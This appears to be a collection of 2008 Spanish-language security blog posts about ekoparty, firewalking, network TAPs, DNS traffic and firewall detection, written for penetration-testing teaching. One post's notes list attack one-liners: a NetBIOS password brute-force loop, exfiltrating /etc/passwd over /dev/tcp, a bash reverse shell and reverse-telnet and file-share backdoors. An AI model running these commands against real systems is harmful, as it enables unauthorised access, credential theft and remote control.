ekoparty @ WORK

Se acerca la ekoparty y cinco esclavos trabajan sin descanso para organizar la mejor conferencia latinoamericana de seguridad!

De izquierda a derecha los esclavos son, Juan Pablo Borgna, abajo Federico Kirschbaum, arriba estoy yo, luego el famoso Francisco Amato y finalmente Jeronimo Basaldua. Este año también contamos con la invalorable ayuda de Alexav8, que se fue antes de la foto, y Burbujita.

Ganadores de los Pwnie Awards 2008

Se publicaron los ganadores 2008 de los Pwnie Awards, el premio a los logros y fallos de la comunidad de seguridad, que fueron presentados en la última edición de la Black Hat.

Uno de los organizadores de los Pwnie Awards, Alexander Sotirov, dará una charla en la ekoparty llamada "Blackbox Reversing of XSS Filters".

Pen Testing Ninjitsu

Hace unos días, Ed Skoudis presento la última parte de 3 webcasts sobre técnicas de PenTest que tituló Pen Testing Ninjitsu I, II y III.

Aquí les dejo algunas notas técnicas que fui tomando, los links para bajarse los webcasts, y de paso me gustaría pedirles dinero para ayudar a este señor :

# Resuelto Recientemente
"ipconfig /displaydns"

# Tabla ARP
"arp -a"

# Recursos Compartidos
"net use \\[targetIP] [password] /u:[user]"
"net use * \\[targetIP]\[share] [password] /u:[user]"
"/u:[MachineName]\[user]"
"net use \\[targetIP] /del"
"net use * /del"

# Ping Sweep
for /L %i in (1,1,255) do @ping -n 1 192.168.1.%i | find "Respuesta"

# DNS Lookups
for /L %i in (1,1,255) do @nslookup 10.10.10.%i 2>nul | find "Name" && echo 10.10.10.%i

# Brute Force con NetBIOS
for /f %i in (users.txt) do @(for /f %j in (pass.txt) do @echo %i:%j & @net use \\10.10.10.10 %j /u:%i 2>nul && echo %i:%j >> success.txt && net use \\10.10.10.10 /del)

# Hola Mundo de Linux a Windows
echo "hola mundo" > /dev/tcp/10.10.10.10/2222
nc -l -p 2222

# Transfiriendo archivos de Linux a Windows
cat /etc/passwd > /dev/tcp/10.10.10.10/2222
nc -l -p 2222

# Backdoor Reverso desde Linux
/bin/bash -i > /dev/tcp/10.10.10.10/2222 0<&1 2>&1
nc -l -p 2222

# Port Scanner desde Linea de Comando en Linux
port=1; while [ $port -lt 1024 ]; do echo > /dev/tcp/10.10.10.10/$port; [ $? == 0 ] && echo $port "abierto" >> /tmp/ports.txt; port=`expr $port + 1`; done

# Backdoors usando Telnets Reversos en Linux
telnet 10.10.10.10 2222 | /bin/bash | telnet 10.10.10.10 3333
nc -l -p 2222 (aca se ingresan los comandos)
nc -l -p 3333 (aca sale la respuesta)

# Port Scanner en Windows
for /L %i in (1,1,1024) do telnet 10.10.10.10 %i
(cuando encuentra puerto abierto se cuelga, CTRL-[ y quit)

# Port Scanner en Windows usando el Cliente FTP
for /L %i in (1,1,1024) do echo Checking Port %i: >> ports.txt & echo open [IP_addr] %i > ftp.txt & echo quit >> ftp.txt & ftp -s:ftp.t 2>>ports.txt

# Transferencia de Archivos en Windows
echo hola-mundo > \\10.10.10.10\temp\archivo.txt
type c:\temp\archivo.txt

# Backdoor en Windows usando File Shell
for /L %i in (1,0,2) do (for /f "delims=^" %j in (commands.txt) do cmd.exe /c %j >> output.txt & del commands.txt) & ping -n 2 127.0.0.1
echo ipconfig > \\10.10.10.10\temp\commands.txt (feed de comandos)
type \\10.10.10.10\temp\output.txt (salida)

Me tome todo este trabajo porque se que después me va a resultar mucho mas fácil venir a buscarlo al blog ;-)

Se pueden bajar los webcasts desde aquí: Parte 1, Parte 2, Parte 3.

Firewalking 1998-2008

El Firewalking es una interesante técnica creada en 1998 por Goldsmith y Schiffman, con el objetivo de mapear la política de filtrado de un firewall. Diez años después, ¿ todavía funciona esta técnica ?

¿ cómo trabaja el firewalking ?

Básicamente, vamos a realizar un escaneo de puertos con una TTL fija que debe expirar en el último gateway antes de llegar a nuestro objetivo.

Si el paquete expira, recibiremos un mensaje de error ICMP time exceed in-transit, lo que nos estará indicando que el paquete supero la barrera de filtrado pero no llego al objetivo ya que la TTL llego a 0. Si no recibimos ninguna respuesta significa que el paquete fue descartado por el firewall ya que no cumplía con la política de filtrado.

¿ cuál es la diferencia con un escaneo de puertos ?

En un escaneo de puertos solo podemos estar seguros de las respuestas que recibimos, por ejemplo si recibimos un SYN/ACK el puerto esta abierto, o si recibimos un RST el puerto esta cerrado, pero si no recibimos nada, ¿ significa que efectivamente el puerto esta filtrado ? no, también pueden estar pasando muchas otras cosas.

Pero el firewalking se vuelve sumamente efectivo cuando escaneamos puertos UDP o hacemos un escaneo de protocolos, en donde generalmente no vamos a recibir respuestas.

¿ todavía funciona esta técnica ?

Para la época en la que fue concebida esta técnica, los firewalls eran muy básicos por lo que el firewalking era bastante efectivo. La mayoría de los firewalls modernos ya no decrementan la TTL de los paquetes, por lo que el firewalking solo es efectivo si entre nuestro objetivo y el firewall hay un router.

Igualmente, todavía podemos encontrar muchas redes con packet filters o que tienen varias DMZ's con router's en el medio, por lo que la diversión todavía no termino ;-)

A modo de Nota Mental, para hacer un Firewalking con Scapy, primero hay que utilizar traceroute() para obtener la TTL del último gateway, y luego las siguientes funciones para hacer el firewalking y graficar los resultados:

res,unans = sr(IP(dst=TARGET, ttl=GWTTL)/TCP(dport=[PUERTOS]), timeout=2, retry=-2)

res.make_table(lambda (s,r):(s.dst, s.dport, r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src%#%r,ICMP.type%}")))

SANS Desafía a los CEH

Hace unos días, SANS lanzo un desafío para certificados en CEH que deseen probar sus conocimientos frente a GPEN (GIAC Penetration Tester), la nueva certificación de SANS. Me anote y entre al desafío :-)

Realmente me sorprendió tener la posibilidad de participar, ya que el desafío era para los primeros 50 CEH que se registren, y generalmente para este tipo de promociones se anotan cientos de personas.

GPEN es una certificación altamente técnica de Penetration Testing creada por el mítico Ed Skoudis en persona, y el costo para tomar el examen es de 900 USD.

Que solo se haya invitado a certificados en CEH, me hace pensar que el examen es muy difícil y el objetivo podría ser tener una estadística marketinera del tipo "el 90% de los CEH no pudo aprobar esta certificación"...

Los que entramos en el desafío no tenemos que pagar nada, pero tampoco tenemos acceso al curso ni tampoco a cualquier tipo de material de apoyo, la única guía disponible es el temario del curso.

En principio hay tiempo hasta Diciembre para tomar el examen, así que recién voy a comenzar a estudiar después de la ekoparty, vamos a ver como me va... ;-)

¿ Qué es un TAP ?

Un TAP o "Test Access Port" es un dispositivo de red diseñado para capturar tráfico. Generalmente son usados por aplicaciones de seguridad debido a que son no-intrusivos, no-detectables, soportan full-duplex y dejan pasar el tráfico aunque hayan perdido la energía.

Pero repasemos brevemente cuales son los métodos mas usuales utilizados para capturar tráfico:

- HUB: estos son los mas populares para realizar capturas ya que replican todo el tráfico en todos los puertos. La desventaja es que son half-duplex, y muchos de los hubs fabricados recientemente en realidad trabajan como switches.

- SPAN: Switched Port Analyzer, también conocido como Port Mirroring, nos permitirá replicar el tráfico de un puerto del Switch a otro en donde tenemos el sniffer. La desventaja es que si queremos capturar el tráfico de mas de un puerto vamos a perder paquetes, ya que el switch no esta diseñado para esta tarea y le dará prioridad al switching.

Finalmente llegamos a los TAPs. Por ejemplo, en el caso de que queramos capturar todo el tráfico de Internet, deberíamos poner al TAP entre nuestro border router y el firewall.

Los TAPs mas básicos, poseen cuatro puertos, osea que para nuestro ejemplo deberíamos destinar un puerto al router, otro al firewall, y los dos puertos restantes son para la captura de tráfico.

De los dos puertos destinados para la captura, un puerto captura el tráfico de ida, mientras que el otro puerto captura el tráfico de vuelta, por lo que necesitaríamos dos computadoras para poder capturar los dos flujos de tráfico.

Los TAPs que trabajan de esta forma se conocen como "no-agregados" porque tienen la complejidad de que luego hay que unir las dos capturas en un único archivo, pero también son los mas económicos como el que vemos a continuación:

Obviamente también existen los TAPs "agregados", que a través de cada puerto de monitoreo que posean, nos proveerán de los dos flujos de tráfico ya unidos. Claro que el precio de estos equipos aumentan considerablemente:

Estos TAPs pertenecen a NetOptics, pero podemos encontrar muchos otros fabricantes.

Analizando Tráfico DNS

Una forma de entender como funciona un protocolo, es utilizar herramientas y analizar el tráfico que estas generan. A continuación vamos a ver algunos simples ejemplos para entender como trabaja el protocolo DNS.

Vamos a utilizar el comando "host" de Linux/Unix, para solicitar mediante los parámetros "-t ns", el listado de los servidores de nombres correspondiente al dominio "amazon.com".

Si analizamos esta captura, podemos ver que DNS utiliza como protocolo de transporte UDP en el puerto 53:

Generalmente DNS va a utilizar UDP, pero podemos decirle a "host" que realice el pedido utilizando TCP. Esto lo podemos hacer con la opción "-T" de esta forma: "host -T -t ns amazon.com"

A menos que forcemos a "host" a utilizar TCP, DNS va a utilizar este protocolo con un cliente solamente cuando la respuesta a un pedido supere los 512 bytes.

Por ejemplo, veamos este ejemplo en donde solicitamos los registros ANY de amazon.com:

Podemos ver que como la respuesta supero los 512 bytes, aparece un error ";; Truncated, retrying in TCP mode". Analicemos el tráfico:

Al principio, podemos ver que los dos primeros paquetes son UDP, como la respuesta supera los 512 bytes, se volverá a realizar toda la transacción utilizando TCP. Después de los paquetes UDP, se pueden ver los tres paquetes del 3-way handshaking de TCP, la respuesta del servidor y finalmente los FIN, ACK para finalizar la conexión.

El único caso en el que DNS siempre utilizará TCP, es cuando un servidor de nombres le solicite a otro una transferencia de zonas. También podemos solicitar una transferencia de zonas con el comando "host -l", pero esto solo debería ser posible entre servidores de nombres.

En mi COMBAT Training veremos muchas cosas más sobre DNS que luego iré posteando en el Blog ;-)

Abierta la Registración para ekoparty 2008

Ya se encuentra abierta la registración para la conferencia y los trainings de la edicicón 2008 de la ekoparty.

En la primera ronda de selección (todavía falta la segunda), ya están confirmados las siguientes charlas para la conferencia:

- Keynote: Hacking Has An Economy of Scale, by Dave Aitel
- Debian's OpenSSL random number generator Bug, by Luciano Bello & Maximiliano Bertacchini
- SAP Security - PenTest It, Secure It!, by Mariano Nuñez Di Croce
- Smartphones (in)security, by Nicolas Economou & Alfredo Ortega
- Code Injection On Virtual Machines, by Nicolas Economou
- In-depth Anti-Forensics - Challenges of Steganography on Discovering Hidden Data, by Domingo Montanaro
- Atacando RSA mediante un nuevo método de factorización de enteros, by Hugo Scolnik
- Adobe javascript al descubierto, by Pablo Solé

También ya se pueden inscribir a cualquiera de los siguientes trainings (cupos limitados):

- Descubrimiento y Explotación de Vulnerabilidades Web, by Andrés Riancho (CYBSEC)
- Unethical Hacking, by Pablo Solé (IMMUNITY)
- Stack Overflows, by Damian Gomez (IMMUNITY)
- Hacking and Defending Oracle Databases, by Esteban Martínez Fayó (ARGENISS)
- Network Security COMBAT Training, by Leonardo Pigñer

Links importantes:
- Programa de la ekoparty 2008
- Registración para la ekoparty 2008

Consultas a: organizacion@ekoparty.com.ar

¿ Dónde están los Type11Code0 ?

Buscando algunos buenos ejemplos de firewalking para mi COMBAT Training, me encontré con unas respuestas muy curiosas de mi ISP cuando enviaba paquetes con una TTL muy baja.

Por ejemplo, haciendo un traceroute con ICMP o UDP pueden ver que casi inmediatamente aparecen varios saltos filtrados:

Ahora si al traceroute lo hacemos con TCP, lo sumamente curioso es que esos saltos siguen apareciendo como filtrados, pero al sniffear el tráfico podemos ver que en realidad estamos recibiendo un TCP RST por cada paquete que enviamos:

Lo raro es que cuando la TTL de un paquete llega a 0, deberíamos recibir un mensaje de error ICMP Time exceeded in-transit (ICMP Type 11 Code 0), no un TCP RST. Tengan en cuenta que estos de valores de TTL van de 1 a 6, osea que estamos muy lejos de llegar al host todavía.

Probé realizar las mismas pruebas desde otro enlace a Internet y esto no sucede, por lo que podríamos pensar que es algún dispositivo de red que posee mi ISP.

Para intentar identificar a este dispositivo podemos probar hacer un fingerprinting pasivo con p0f. El tema es que la exactitud que puede llegar a tener p0f esta basada en el análisis de paquetes SYN/ACK, cuando intentamos hacer un fongerprinting con paquetes RST, p0f se encuentra con grandes limitaciones:

Mi teoría es que podría llegar a ser algún dispositivo de QoS, ya que a los RST solo los recibimos cuando usamos TCP, aparte la TTL de 255 suelen ser usadas por equipos de este tipo.

Pero como estuve todo el fin de semana con una fuerte gripe, tengo fiebre y mientras escribo este post Gesolmina me quiere hacer entender el dialecto greco-calabres, tal vez todo sea fruto de mi imaginación conspirativa.

Si a alguien tiene alguna otra idea sobre que podría llegar a ser este dispositivo por favor deje algún comentario.

30 Días de Ataques a los DNS

Clarified Networks realizo una excelente animación del progreso de corrección de los servidores DNS de todo el mundo a partir del análisis de tráfico real.

Pasando por rojo, amarillo y verde, se puede ver como fue cambiando el nivel de vulnerabilidad de los DNS de todo el mundo en casi un mes.

Kaminsky publicó los slides de su presentación en la Black Hat en su sitio web, y la gente de Arbor Networks hizo un excelente post en su blog sobre ataques a DNS en los últimos 30 días.

ekoparty teaser #001

El genio creativo de FedeK en el primer teaser de la ekoparty!

Técnicas Para Descubrir Firewalls

Descubrir la presencia de un firewall, y lograr identificarlo, puede ayudarnos a comprender como esta armada la topología de red para poder encontrar sus puntos débiles.

A modo de nota mental, voy a listar algunas técnicas conocidas que podemos utilizar para descubrir firewalls. Estas técnicas pueden estar condicionadas a si el firewall es stateful o packet filter.

Traceroute con TCP. Generalmente la politica del firewall va a filtrar protocolos como ICMP o UDP, utilizados por las implementaciones comunes de traceroute, pero si hacemos un traceroute con TCP (u otros protocolos) muchas veces vamos a poder descubrir la IP del firewall. Mas info en este post.

Fingerprinting del SO. En teoría un firewall no debería tener puertos abiertos o cerrados, todos deberían estar en estado filtrado, por lo que un fingerprinting debería ser difícil de realizar, pero muchas veces funciona.

Puertos Propietarios. Hay firewalls que utilizan algunos puertos específicos para brindar un servicio en particular. Por ejemplo, CheckPoint Firewall-1 utiliza los puertos 259 y 900 para autenticar usuarios que quieren acceder a un recurso.

IKE Scanning. Muchos firewalls, también brindan el servicio de VPN, por lo que si escaneamos por el protocolo IKE vamos a poder descubrir muchos firewalls y servidores de VPN. También podríamos escanear por el puerto 500, pero buscar por IKE funciona muy bien.

Analizar los Paquetes. La mayoría de los firewalls, aparte de descartar una conexión, también tienen la capacidad de terminar una conexión utilizando un RST. En los flags de los headers IP y TCP de estos paquetes, hay grandes diferencias que nos permitirían diferenciar a un firewall de otro.

Generar Respuestas. Otra técnica podría ser enviarle al firewall paquetes malformados para obligarlo a que nos envíe algún tipo de respuesta que delate su presencia. Un buen firewall no debería responder a ningún paquete extraño, pero hay packet filters a los que si por ejemplo les enviamos paquetes con un CRC erróneo van a respondernos (Ed3f).

Ataques Bloqueados. Los firewalls modernos suelen traer alguna capacidad para funcionar como IDS/IPS, analizar que ataques son bloqueados y cuales no, podría también permitirnos identificar que firewall se esta utilizando.

No se me ocurre nada mas en este momento, si me estoy olvidando de algo por favor dejen algún comentario.